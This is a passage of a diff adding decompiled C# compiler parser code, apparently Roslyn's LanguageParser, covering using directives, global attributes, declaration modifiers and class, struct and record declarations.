body.Externs.Add(externAliasDirectiveSyntax); + seen = NamespaceParts.ExternAliases; + } + flag2 = true; + continue; + } + break; + case SyntaxKind.UsingKeyword: + if (!flag || (PeekToken(1).Kind != SyntaxKind.OpenParenToken && (base.IsScript || !IsPossibleTopLevelUsingLocalDeclarationStatement()))) + { + parseUsingDirective(ref openBraceOrSemicolon, ref body, ref initialBadNodes, ref seen, ref pendingIncompleteMembers); + flag2 = true; + continue; + } + break; + case SyntaxKind.IdentifierToken: + if (base.CurrentToken.ContextualKind == SyntaxKind.GlobalKeyword && PeekToken(1).Kind == SyntaxKind.UsingKeyword) + { + parseUsingDirective(ref openBraceOrSemicolon, ref body, ref initialBadNodes, ref seen, ref pendingIncompleteMembers); + flag2 = true; + continue; + } + break; + case SyntaxKind.OpenBracketToken: + { + if (!IsPossibleGlobalAttributeDeclaration()) + { + break; + } + AttributeListSyntax attributeListSyntax = TryParseAttributeDeclaration(parentKind == SyntaxKind.CompilationUnit); + if (attributeListSyntax != null) + { + ReduceIncompleteMembers(ref pendingIncompleteMembers, ref openBraceOrSemicolon, ref body, ref initialBadNodes); + if (!flag || seen > NamespaceParts.GlobalAttributes) + { + attributeListSyntax = AddError(attributeListSyntax, attributeListSyntax.Target.Identifier, ErrorCode.ERR_GlobalAttributesNotFirst); + AddSkippedNamespaceText(ref openBraceOrSemicolon, ref body, ref initialBadNodes, attributeListSyntax); + } + else + { + body.Attributes.Add(attributeListSyntax); + seen = NamespaceParts.GlobalAttributes; + } + flag2 = true; + continue; + } + break; + } + } + MemberDeclarationSyntax memberDeclarationSyntax = (flag ? ParseMemberDeclarationOrStatement(parentKind) : ParseMemberDeclaration(parentKind)); + if (memberDeclarationSyntax == null) + { + ReduceIncompleteMembers(ref pendingIncompleteMembers, ref openBraceOrSemicolon, ref body, ref initialBadNodes); + SyntaxToken syntaxToken = EatToken(); + if (flag2 && !((GreenNode)syntaxToken).ContainsDiagnostics) + { + syntaxToken = AddError(syntaxToken, base.IsScript ? ErrorCode.ERR_GlobalDefinitionOrStatementExpected : ErrorCode.ERR_EOFExpected); + flag2 = false; + } + AddSkippedNamespaceText(ref openBraceOrSemicolon, ref body, ref initialBadNodes, syntaxToken); + } + else if (memberDeclarationSyntax.Kind == SyntaxKind.IncompleteMember && seen < NamespaceParts.MembersAndStatements) + { + pendingIncompleteMembers.Add(memberDeclarationSyntax); + flag2 = true; + } + else + { + AddIncompleteMembers(ref pendingIncompleteMembers, ref body); + body.Members.Add(adjustStateAndReportStatementOutOfOrder(ref seen, memberDeclarationSyntax)); + flag2 = true; + } + } + } + finally + { + _termState = termState; + AddIncompleteMembers(ref pendingIncompleteMembers, ref body); + _pool.Free(SyntaxListBuilder.op_Implicit(pendingIncompleteMembers)); + } + MemberDeclarationSyntax adjustStateAndReportStatementOutOfOrder(ref NamespaceParts reference, MemberDeclarationSyntax memberOrStatement) + { + switch (memberOrStatement.Kind) + { + case SyntaxKind.GlobalStatement: + if (reference < NamespaceParts.MembersAndStatements) + { + reference = NamespaceParts.MembersAndStatements; + } + else if (reference == NamespaceParts.TypesAndNamespaces) + { + reference = NamespaceParts.TopLevelStatementsAfterTypesAndNamespaces; + if (!base.IsScript) + { + memberOrStatement = AddError(memberOrStatement, ErrorCode.ERR_TopLevelStatementAfterNamespaceOrType); + } + } + break; + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.EnumDeclaration: + case SyntaxKind.DelegateDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + if (reference < NamespaceParts.TypesAndNamespaces) + { + reference = NamespaceParts.TypesAndNamespaces; + } + break; + default: + if (reference < NamespaceParts.MembersAndStatements) + { + reference = NamespaceParts.MembersAndStatements; + } + break; + } + return memberOrStatement; + } + void parseUsingDirective(ref SyntaxToken? openBrace, ref NamespaceBodyBuilder reference, ref SyntaxListBuilder? initialBadNodes2, ref NamespaceParts reference2, ref SyntaxListBuilder incompleteMembers) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + ReduceIncompleteMembers(ref incompleteMembers, ref openBrace, ref reference, ref initialBadNodes2); + UsingDirectiveSyntax usingDirectiveSyntax = ParseUsingDirective(); + if (reference2 > NamespaceParts.Usings) + { + usingDirectiveSyntax = AddError(usingDirectiveSyntax, ErrorCode.ERR_UsingAfterElements); + AddSkippedNamespaceText(ref openBrace, ref reference, ref initialBadNodes2, usingDirectiveSyntax); + } + else + { + reference.Usings.Add(usingDirectiveSyntax); + reference2 = NamespaceParts.Usings; + } + } + } + + private static void AddIncompleteMembers(ref SyntaxListBuilder incompleteMembers, ref NamespaceBodyBuilder body) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (incompleteMembers.Count > 0) + { + body.Members.AddRange(SyntaxListBuilder.op_Implicit(incompleteMembers)); + incompleteMembers.Clear(); + } + } + + private void ReduceIncompleteMembers(ref SyntaxListBuilder incompleteMembers, ref SyntaxToken? openBraceOrSemicolon, ref NamespaceBodyBuilder body, ref SyntaxListBuilder? initialBadNodes) + { + for (int i = 0; i < incompleteMembers.Count; i++) + { + AddSkippedNamespaceText(ref openBraceOrSemicolon, ref body, ref initialBadNodes, incompleteMembers[i]); + } + incompleteMembers.Clear(); + } + + private bool IsPossibleNamespaceMemberDeclaration() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.ExternKeyword: + case SyntaxKind.NamespaceKeyword: + case SyntaxKind.UsingKeyword: + return true; + case SyntaxKind.IdentifierToken: + return IsPartialInNamespaceMemberDeclaration(); + default: + return IsPossibleStartOfTypeDeclaration(base.CurrentToken.Kind); + } + } + + private bool IsPartialInNamespaceMemberDeclaration() + { + if (base.CurrentToken.ContextualKind == SyntaxKind.PartialKeyword) + { + if (IsPartialType()) + { + return true; + } + if (PeekToken(1).Kind == SyntaxKind.NamespaceKeyword) + { + return true; + } + } + return false; + } + + public bool IsEndOfNamespace() + { + return base.CurrentToken.Kind == SyntaxKind.CloseBraceToken; + } + + public bool IsGobalAttributesTerminator() + { + if (!IsEndOfNamespace()) + { + return IsPossibleNamespaceMemberDeclaration(); + } + return true; + } + + private bool IsNamespaceMemberStartOrStop() + { + if (!IsEndOfNamespace()) + { + return IsPossibleNamespaceMemberDeclaration(); + } + return true; + } + + private bool ScanExternAliasDirective() + { + if (base.CurrentToken.Kind == SyntaxKind.ExternKeyword) + { + SyntaxToken syntaxToken = PeekToken(1); + if (syntaxToken != null && syntaxToken.Kind == SyntaxKind.IdentifierToken && syntaxToken.ContextualKind == SyntaxKind.AliasKeyword && PeekToken(2).Kind == SyntaxKind.IdentifierToken) + { + return PeekToken(3).Kind == SyntaxKind.SemicolonToken; + } + } + return false; + } + + private ExternAliasDirectiveSyntax ParseExternAliasDirective() + { + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.ExternAliasDirective) + { + return (ExternAliasDirectiveSyntax)(object)EatNode(); + } + return _syntaxFactory.ExternAliasDirective(EatToken(SyntaxKind.ExternKeyword), EatContextualToken(SyntaxKind.AliasKeyword), ParseIdentifierToken(), EatToken(SyntaxKind.SemicolonToken)); + } + + private NameEqualsSyntax ParseNameEquals() + { + return _syntaxFactory.NameEquals(_syntaxFactory.IdentifierName(ParseIdentifierToken()), EatToken(SyntaxKind.EqualsToken)); + } + + private UsingDirectiveSyntax ParseUsingDirective() + { + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.UsingDirective) + { + return (UsingDirectiveSyntax)(object)EatNode(); + } + SyntaxToken globalKeyword = ((base.CurrentToken.ContextualKind == SyntaxKind.GlobalKeyword) ? SyntaxParser.ConvertToKeyword(EatToken()) : null); + SyntaxToken usingKeyword = EatToken(SyntaxKind.UsingKeyword); + SyntaxToken syntaxToken = TryEatToken(SyntaxKind.StaticKeyword); + SyntaxToken syntaxToken2 = TryEatToken(SyntaxKind.UnsafeKeyword); + if (syntaxToken == null && syntaxToken2 != null && base.CurrentToken.Kind == SyntaxKind.StaticKeyword) + { + syntaxToken = SyntaxFactory.MissingToken(SyntaxKind.StaticKeyword); + syntaxToken2 = AddTrailingSkippedSyntax(syntaxToken2, (GreenNode)(object)AddError(EatToken(), ErrorCode.ERR_BadStaticAfterUnsafe)); + } + NameEqualsSyntax nameEqualsSyntax = (IsNamedAssignment() ? ParseNameEquals() : null); + TypeSyntax typeSyntax; + SyntaxToken semicolonToken; + if ((nameEqualsSyntax == null || base.CurrentToken.Kind != SyntaxKind.DelegateKeyword) && IsPossibleNamespaceMemberDeclaration()) + { + typeSyntax = WithAdditionalDiagnostics(CreateMissingIdentifierName(), GetExpectedTokenError(SyntaxKind.IdentifierToken, base.CurrentToken.Kind)); + semicolonToken = SyntaxFactory.MissingToken(SyntaxKind.SemicolonToken); + } + else + { + typeSyntax = ((nameEqualsSyntax == null) ? ParseQualifiedName() : ParseType()); + if (((GreenNode)typeSyntax).IsMissing && PeekToken(1).Kind == SyntaxKind.SemicolonToken) + { + typeSyntax = AddTrailingSkippedSyntax(typeSyntax, (GreenNode)(object)EatToken()); + } + semicolonToken = EatToken(SyntaxKind.SemicolonToken); + } + return _syntaxFactory.UsingDirective(globalKeyword, usingKeyword, syntaxToken, syntaxToken2, nameEqualsSyntax, typeSyntax, semicolonToken); + } + + private bool IsPossibleGlobalAttributeDeclaration() + { + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && IsGlobalAttributeTarget(PeekToken(1))) + { + return PeekToken(2).Kind == SyntaxKind.ColonToken; + } + return false; + } + + private static bool IsGlobalAttributeTarget(SyntaxToken token) + { + AttributeLocation attributeLocation = token.ToAttributeLocation(); + if ((uint)(attributeLocation - 1) <= 1u) + { + return true; + } + return false; + } + + private bool IsPossibleAttributeDeclaration() + { + return base.CurrentToken.Kind == SyntaxKind.OpenBracketToken; + } + + private SyntaxList ParseAttributeDeclarations(bool inExpressionContext) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsAttributeDeclarationTerminator; + while (IsPossibleAttributeDeclaration()) + { + AttributeListSyntax attributeListSyntax = TryParseAttributeDeclaration(inExpressionContext); + if (attributeListSyntax == null) + { + break; + } + val.Add(attributeListSyntax); + } + _termState = termState; + return _pool.ToListAndFree(val); + } + + private bool IsAttributeDeclarationTerminator() + { + if (base.CurrentToken.Kind != SyntaxKind.CloseBracketToken) + { + return IsPossibleAttributeDeclaration(); + } + return true; + } + + private AttributeListSyntax? TryParseAttributeDeclaration(bool inExpressionContext) + { + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.AttributeList && !inExpressionContext) + { + return (AttributeListSyntax)(object)EatNode(); + } + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + SyntaxToken openToken = EatToken(SyntaxKind.OpenBracketToken); + AttributeTargetSpecifierSyntax target = ((IsSomeWord(base.CurrentToken.Kind) && PeekToken(1).Kind == SyntaxKind.ColonToken) ? _syntaxFactory.AttributeTargetSpecifier(SyntaxParser.ConvertToKeyword(EatToken()), EatToken(SyntaxKind.ColonToken)) : null); + SeparatedSyntaxList attributes = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBracketToken, (LanguageParser @this) => @this.IsPossibleAttribute(), (LanguageParser @this) => @this.ParseAttribute(), skipBadAttributeListTokens, allowTrailingSeparator: true, requireOneElement: true, allowSemicolonAsSeparator: false); + SyntaxToken closeBracketToken = EatToken(SyntaxKind.CloseBracketToken); + if (inExpressionContext && shouldParseAsCollectionExpression()) + { + disposableResetPoint.Reset(); + return null; + } + return _syntaxFactory.AttributeList(openToken, target, attributes, closeBracketToken); + } + bool shouldParseAsCollectionExpression() + { + if (base.CurrentToken.Kind == SyntaxKind.DotToken) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.MinusGreaterThanToken) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.QuestionToken && PeekToken(1).Kind == SyntaxKind.DotToken) + { + return true; + } + return false; + } + static PostSkipAction skipBadAttributeListTokens(LanguageParser @this, ref SyntaxToken openBracket, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openBracket, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleAttribute(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private bool IsPossibleAttribute() + { + return IsTrueIdentifier(); + } + + private AttributeSyntax ParseAttribute() + { + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.Attribute) + { + return (AttributeSyntax)(object)EatNode(); + } + return _syntaxFactory.Attribute(ParseQualifiedName(), ParseAttributeArgumentList()); + } + + internal AttributeArgumentListSyntax? ParseAttributeArgumentList() + { + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.AttributeArgumentList) + { + return (AttributeArgumentListSyntax)(object)EatNode(); + } + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + return null; + } + SyntaxToken openToken = EatToken(SyntaxKind.OpenParenToken); + SeparatedSyntaxList arguments = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseParenToken, (LanguageParser @this) => @this.IsPossibleAttributeArgument(), (LanguageParser @this) => @this.ParseAttributeArgument(), skipBadAttributeArgumentTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.AttributeArgumentList(openToken, arguments, EatToken(SyntaxKind.CloseParenToken)); + static PostSkipAction skipBadAttributeArgumentTokens(LanguageParser @this, ref SyntaxToken openParen, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openParen, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleAttributeArgument(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private bool IsPossibleAttributeArgument() + { + return IsPossibleExpression(); + } + + private AttributeArgumentSyntax ParseAttributeArgument() + { + NameEqualsSyntax nameEquals = null; + NameColonSyntax nameColon = null; + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + switch (PeekToken(1).Kind) + { + case SyntaxKind.EqualsToken: + nameEquals = _syntaxFactory.NameEquals(_syntaxFactory.IdentifierName(ParseIdentifierToken()), EatToken(SyntaxKind.EqualsToken)); + break; + case SyntaxKind.ColonToken: + nameColon = _syntaxFactory.NameColon(ParseIdentifierName(), EatToken(SyntaxKind.ColonToken)); + break; + } + } + return _syntaxFactory.AttributeArgument(nameEquals, nameColon, ParseExpressionCore()); + } + + private static DeclarationModifiers GetModifierExcludingScoped(SyntaxToken token) + { + return GetModifierExcludingScoped(token.Kind, token.ContextualKind); + } + + internal static DeclarationModifiers GetModifierExcludingScoped(SyntaxKind kind, SyntaxKind contextualKind) + { + switch (kind) + { + case SyntaxKind.PublicKeyword: + return DeclarationModifiers.Public; + case SyntaxKind.InternalKeyword: + return DeclarationModifiers.Internal; + case SyntaxKind.ProtectedKeyword: + return DeclarationModifiers.Protected; + case SyntaxKind.PrivateKeyword: + return DeclarationModifiers.Private; + case SyntaxKind.SealedKeyword: + return DeclarationModifiers.Sealed; + case SyntaxKind.AbstractKeyword: + return DeclarationModifiers.Abstract; + case SyntaxKind.StaticKeyword: + return DeclarationModifiers.Static; + case SyntaxKind.VirtualKeyword: + return DeclarationModifiers.Virtual; + case SyntaxKind.ExternKeyword: + return DeclarationModifiers.Extern; + case SyntaxKind.NewKeyword: + return DeclarationModifiers.New; + case SyntaxKind.OverrideKeyword: + return DeclarationModifiers.Override; + case SyntaxKind.ReadOnlyKeyword: + return DeclarationModifiers.ReadOnly; + case SyntaxKind.VolatileKeyword: + return DeclarationModifiers.Volatile; + case SyntaxKind.UnsafeKeyword: + return DeclarationModifiers.Unsafe; + case SyntaxKind.PartialKeyword: + return DeclarationModifiers.Partial; + case SyntaxKind.AsyncKeyword: + return DeclarationModifiers.Async; + case SyntaxKind.RefKeyword: + return DeclarationModifiers.Ref; + case SyntaxKind.IdentifierToken: + switch (contextualKind) + { + case SyntaxKind.PartialKeyword: + return DeclarationModifiers.Partial; + case SyntaxKind.AsyncKeyword: + return DeclarationModifiers.Async; + case SyntaxKind.RequiredKeyword: + return DeclarationModifiers.Required; + case SyntaxKind.FileKeyword: + return DeclarationModifiers.File; + } + break; + } + return DeclarationModifiers.None; + } + + private void ParseModifiers(SyntaxListBuilder tokens, bool forAccessors, bool forTopLevelStatements, out bool isPossibleTypeDeclaration) + { + isPossibleTypeDeclaration = true; + while (true) + { + SyntaxToken syntaxToken; + switch (GetModifierExcludingScoped(base.CurrentToken)) + { + case DeclarationModifiers.None: + if (!forAccessors) + { + SyntaxToken syntaxToken3 = ParsePossibleScopedKeyword(isFunctionPointerParameter: false); + if (syntaxToken3 != null) + { + isPossibleTypeDeclaration = false; + tokens.Add((GreenNode)(object)syntaxToken3); + } + } + return; + case DeclarationModifiers.Partial: + { + SyntaxToken syntaxToken2 = PeekToken(1); + if (IsPartialType() || IsPartialMember()) + { + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + } + if (syntaxToken2.Kind == SyntaxKind.NamespaceKeyword) + { + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + } + SyntaxKind kind = syntaxToken2.Kind; + bool flag = kind - 8377 <= SyntaxKind.List; + if (flag || (IsPossibleStartOfTypeDeclaration(syntaxToken2.Kind) && GetModifierExcludingScoped(syntaxToken2) != DeclarationModifiers.None)) + { + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + } + return; + } + case DeclarationModifiers.Ref: + { + SyntaxToken syntaxToken4 = PeekToken(1); + if (isStructOrRecordKeyword(syntaxToken4) || (syntaxToken4.ContextualKind == SyntaxKind.PartialKeyword && isStructOrRecordKeyword(PeekToken(2)))) + { + syntaxToken = EatToken(); + break; + } + if (forAccessors && IsPossibleAccessorModifier()) + { + syntaxToken = EatToken(); + break; + } + return; + } + case DeclarationModifiers.File: + if ((!IsFeatureEnabled(MessageID.IDS_FeatureFileTypes) || forTopLevelStatements) && !ShouldContextualKeywordBeTreatedAsModifier(parsingStatementNotDeclaration: false)) + { + return; + } + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + case DeclarationModifiers.Async: + if (!ShouldContextualKeywordBeTreatedAsModifier(parsingStatementNotDeclaration: false)) + { + return; + } + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + case DeclarationModifiers.Required: + if ((!IsFeatureEnabled(MessageID.IDS_FeatureRequiredMembers) || forTopLevelStatements) && !ShouldContextualKeywordBeTreatedAsModifier(parsingStatementNotDeclaration: false)) + { + return; + } + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + break; + default: + syntaxToken = EatToken(); + break; + } + tokens.Add((GreenNode)(object)syntaxToken); + } + bool isStructOrRecordKeyword(SyntaxToken token) + { + if (token.Kind == SyntaxKind.StructKeyword) + { + return true; + } + if (token.ContextualKind == SyntaxKind.RecordKeyword) + { + return IsFeatureEnabled(MessageID.IDS_FeatureRecords); + } + return false; + } + } + + private bool ShouldContextualKeywordBeTreatedAsModifier(bool parsingStatementNotDeclaration) + { + if (IsNonContextualModifier(PeekToken(1))) + { + return true; + } + bool flag; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + if (!parsingStatementNotDeclaration && base.CurrentToken.ContextualKind == SyntaxKind.PartialKeyword) + { + EatToken(); + } + if (parsingStatementNotDeclaration) + { + goto IL_0095; + } + SyntaxKind kind = base.CurrentToken.Kind; + flag = IsTypeModifierOrTypeKeyword(kind) || kind == SyntaxKind.EventKeyword; + if (!flag) + { + bool flag2 = kind - 8383 <= SyntaxKind.List; + flag = flag2 && PeekToken(1).Kind == SyntaxKind.OperatorKeyword; + } + if (!flag) + { + goto IL_0095; + } + flag = true; + goto end_IL_0018; + IL_0127: + flag = false; + goto end_IL_0018; + IL_0095: + if (ScanType() == ScanTypeFlags.NotType) + { + goto IL_0127; + } + if (!IsPossibleMemberName()) + { + SyntaxKind kind2 = base.CurrentToken.Kind; + switch (kind2) + { + case SyntaxKind.EndOfFileToken: + flag = true; + goto end_IL_0018; + case SyntaxKind.CloseBraceToken: + flag = true; + goto end_IL_0018; + default: + if (SyntaxFacts.IsPredefinedType(base.CurrentToken.Kind)) + { + flag = true; + } + else if (IsNonContextualModifier(base.CurrentToken)) + { + flag = true; + } + else if (IsTypeDeclarationStart()) + { + flag = true; + } + else if (kind2 == SyntaxKind.NamespaceKeyword) + { + flag = true; + } + else + { + if (parsingStatementNotDeclaration || kind2 != SyntaxKind.OperatorKeyword) + { + break; + } + flag = true; + } + goto end_IL_0018; + } + goto IL_0127; + } + flag = true; + end_IL_0018:; + } + return flag; + } + + private static bool IsNonContextualModifier(SyntaxToken nextToken) + { + if (!SyntaxFacts.IsContextualKeyword(nextToken.ContextualKind)) + { + return GetModifierExcludingScoped(nextToken) != DeclarationModifiers.None; + } + return false; + } + + private bool IsPartialType() + { + SyntaxToken syntaxToken = PeekToken(1); + SyntaxKind kind = syntaxToken.Kind; + if (kind - 8374 <= (SyntaxKind)2) + { + return true; + } + if (syntaxToken.ContextualKind == SyntaxKind.RecordKeyword) + { + return IsFeatureEnabled(MessageID.IDS_FeatureRecords); + } + return false; + } + + private bool IsPartialMember() + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + if (ScanType() == ScanTypeFlags.NotType) + { + return false; + } + return IsPossibleMemberName(); + } + } + + private bool IsPossibleMemberName() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.IdentifierToken: + if (base.CurrentToken.ContextualKind == SyntaxKind.GlobalKeyword && PeekToken(1).Kind == SyntaxKind.UsingKeyword) + { + return false; + } + return true; + case SyntaxKind.ThisKeyword: + return true; + default: + return false; + } + } + + private MemberDeclarationSyntax ParseTypeDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = base.cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + return base.CurrentToken.Kind switch + { + SyntaxKind.ClassKeyword => ParseClassOrStructOrInterfaceDeclaration(attributes, modifiers), + SyntaxKind.StructKeyword => ParseClassOrStructOrInterfaceDeclaration(attributes, modifiers), + SyntaxKind.InterfaceKeyword => ParseClassOrStructOrInterfaceDeclaration(attributes, modifiers), + SyntaxKind.DelegateKeyword => ParseDelegateDeclaration(attributes, modifiers), + SyntaxKind.EnumKeyword => ParseEnumDeclaration(attributes, modifiers), + SyntaxKind.IdentifierToken => ParseClassOrStructOrInterfaceDeclaration(attributes, modifiers), + _ => throw ExceptionUtilities.UnexpectedValue((object)base.CurrentToken.Kind), + }; + } + + private TypeDeclarationSyntax ParseClassOrStructOrInterfaceDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_0258: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_022a: Unknown result type (might be due to invalid IL or missing references) + //IL_0236: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_01b9: Unknown result type (might be due to invalid IL or missing references) + if (!tryScanRecordStart(out var keyword, out var recordModifier)) + { + keyword = SyntaxParser.ConvertToKeyword(EatToken()); + } + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfRecordOrClassOrStructOrInterfaceSignature; + TerminatorState termState2 = _termState; + _termState |= TerminatorState.IsPossibleAggregateClauseStartOrStop; + SyntaxToken syntaxToken = ParseIdentifierToken(); + TypeParameterListSyntax typeParameters = ParseTypeParameterList(); + ParameterListSyntax paramList = ((base.CurrentToken.Kind == SyntaxKind.OpenParenToken) ? ParseParenthesizedParameterList() : null); + BaseListSyntax baseList = ParseBaseList(); + _termState = termState2; + bool flag = true; + SyntaxListBuilder val = default(SyntaxListBuilder); + SyntaxListBuilder val2 = default(SyntaxListBuilder); + try + { + if (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + val2 = _pool.Allocate(); + ParseTypeParameterConstraintClauses(SyntaxListBuilder.op_Implicit(val2)); + } + _termState = termState; + SyntaxToken semicolon; + SyntaxToken openBrace; + SyntaxToken closeBrace; + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + semicolon = EatToken(SyntaxKind.SemicolonToken); + openBrace = null; + closeBrace = null; + } + else + { + openBrace = EatToken(SyntaxKind.OpenBraceToken); + if (((GreenNode)syntaxToken).IsMissing || ((GreenNode)openBrace).IsMissing) + { + flag = false; + } + if (flag) + { + val = _pool.Allocate(); + while (true) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (CanStartMember(kind)) + { + TerminatorState termState3 = _termState; + _termState |= TerminatorState.IsPossibleMemberStartOrStop; + MemberDeclarationSyntax memberDeclarationSyntax = ParseMemberDeclaration(keyword.Kind); + if (memberDeclarationSyntax != null) + { + val.Add(memberDeclarationSyntax); + } + else + { + SkipBadMemberListTokens(ref openBrace, SyntaxListBuilder.op_Implicit(val)); + } + _termState = termState3; + } + else + { + bool flag2 = ((kind == SyntaxKind.CloseBraceToken || kind == SyntaxKind.EndOfFileToken) ? true : false); + if (flag2 || IsTerminator()) + { + break; + } + SkipBadMemberListTokens(ref openBrace, SyntaxListBuilder.op_Implicit(val)); + } + } + } + if (((GreenNode)openBrace).IsMissing) + { + closeBrace = SyntaxFactory.MissingToken(SyntaxKind.CloseBraceToken); + closeBrace = WithAdditionalDiagnostics(closeBrace, GetExpectedTokenError(SyntaxKind.CloseBraceToken, base.CurrentToken.Kind)); + } + else + { + closeBrace = EatToken(SyntaxKind.CloseBraceToken); + } + semicolon = TryEatToken(SyntaxKind.SemicolonToken); + } + return constructTypeDeclaration(_syntaxFactory, attributes, modifiers, keyword, recordModifier, syntaxToken, typeParameters, paramList, baseList, val2, openBrace, val, closeBrace, semicolon); + } + finally + { + if (!val.IsNull) + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + if (!val2.IsNull) + { + _pool.Free(SyntaxListBuilder.op_Implicit(val2)); + } + } + static TypeDeclarationSyntax constructTypeDeclaration(ContextAwareSyntax syntaxFactory, SyntaxList attributeLists, SyntaxListBuilder val3, SyntaxToken syntaxToken2, SyntaxToken? syntaxToken3, SyntaxToken name, TypeParameterListSyntax typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax baseList2, SyntaxListBuilder constraints, SyntaxToken? openBraceToken, SyntaxListBuilder members, SyntaxToken? closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + 